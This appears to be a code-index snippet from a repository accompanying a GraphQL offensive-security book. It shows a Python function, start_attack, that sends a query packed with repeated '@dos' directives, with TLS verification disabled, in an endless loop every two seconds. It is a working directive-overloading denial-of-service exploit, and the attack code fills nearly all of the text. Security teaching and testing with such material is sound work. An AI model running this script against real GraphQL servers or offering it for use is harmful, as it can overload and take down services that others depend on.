INNER CODE UNIT · Python

start_attack

dolevf/Black-Hat-GraphQL · ch05/exploit_directive_overloading.py:20

def start_attack():
  payload = '@dos' * FORCE_MULTIPLIER
  query = {'query': 'query  { __typename ' + payload + ' }'}
  try:
    r = requests.post(URL, json=query, verify=False)
    print('\t HTTP Response', r.text)
    print('\t HTTP Code: '  , str(r.status_code))
  except:
    pass

threads = []

while True:  
  time.sleep(2)
  start = time.time()
  start_attack()
  print(f'Time request took: {time.time() - start}')

View source record →

📰 Research Paper
Loading…
⏳ Fetching content…